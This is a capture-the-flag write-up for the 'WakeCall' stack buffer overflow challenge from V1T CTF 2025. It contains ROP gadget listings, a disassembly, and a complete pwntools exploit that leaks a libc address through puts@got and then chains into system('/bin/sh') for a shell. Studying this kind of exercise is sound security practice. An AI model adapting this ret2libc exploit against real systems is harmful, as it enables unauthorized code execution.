2025-2
Challenge information
CTF: V1T CTF 2025
Challenge:
WakeCallSolves: 142
Description:
The sleeper obeys the dream ....Time-wasting to solve: 10 min
Writeup
AAH, obviously bof.

[~/dc/ctf/v1t/WakeCall]$ropr chall | grep pop
==> Found 66 gadgets in 0.003 seconds
0x00401176: mov byte ptr [rip+0x2ecb], 1; pop rbp; ret;
0x0040117b: add [rcx], al; pop rbp; ret;
0x004011e7: endbr64; push rbp; mov rbp, rsp; pop rax; ret;
0x004011e8: nop edx, edi; push rbp; mov rbp, rsp; pop rax; ret;
0x004011ea: cli; push rbp; mov rbp, rsp; pop rax; ret;
0x004011eb: push rbp; mov rbp, rsp; pop rax; ret;
0x004011ec: mov rbp, rsp; pop rax; ret;
0x004011ed: mov ebp, esp; pop rax; ret;
0x004011ef: pop rax; ret;
0x004011f4: nop; pop rbp; ret;
0x004011f5: pop rbp; ret;
[~/dc/ctf/v1t/WakeCall]$ropr chall | grep syscall
==> Found 66 gadgets in 0.004 seconds
0x004011f1: syscall;
0x004011f1: syscall; ret;
There's pop rax and syscall gadget, so SROP is available I thought.
Actually in this challenge, that strategy was noob. returning to 0040120a with puts@got can leak libc address. After that, just do rop to get a shell.
004011f7 int32_t main(int32_t argc, char** argv, char** envp)
004011f7 f30f1efa endbr64
004011fb 55 push rbp {__saved_rbp}
004011fc 4889e5 mov rbp, rsp {__saved_rbp}
004011ff 4883c480 add rsp, 0xffffffffffffff80
00401203 488d05fe0d0000 lea rax, [rel data_402008]
0040120a 4889c7 mov rdi, rax {data_402008, "Quack off, I"}
0040120d e85efeffff call puts
00401212 488d4580 lea rax, [rbp-0x80 {buf}]
00401216 bae8030000 mov edx, 0x3e8
0040121b 4889c6 mov rsi, rax {buf}
0040121e bf00000000 mov edi, 0x0
00401223 e878feffff call read
00401228 b800000000 mov eax, 0x0
0040122d c9 leave {__saved_rbp}
0040122e c3 retn {__return_addr}
from pwn import *
from icecream import ic
import sys
e = ELF("chall",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
pop_rax = 0x004011ef
pop_rbp = 0x004011f5
syscall = 0x004011f1
pay(
b"A"*0x80,
0x0000000000405000-0x800,
pop_rax,
e.got["puts"],
0x040120a,
)
r()
sl(payload)
leak = pu64(rl().strip())
ic(hex(leak))
libc.address = leak - (0x76d72fe87be0 - 0x000076d72fe00000)
ic(hex(libc.address))
rst()
pay(
b"A"*0x80,
0x0000000000405000-0x800,
libc.address + 0x000000000010f78c,
libc.address + 0x10f78b,
next(libc.search(b"/bin/sh\x00")),
libc.sym["system"],
)
sl(payload)
shell()
Last modified: 04 November 2025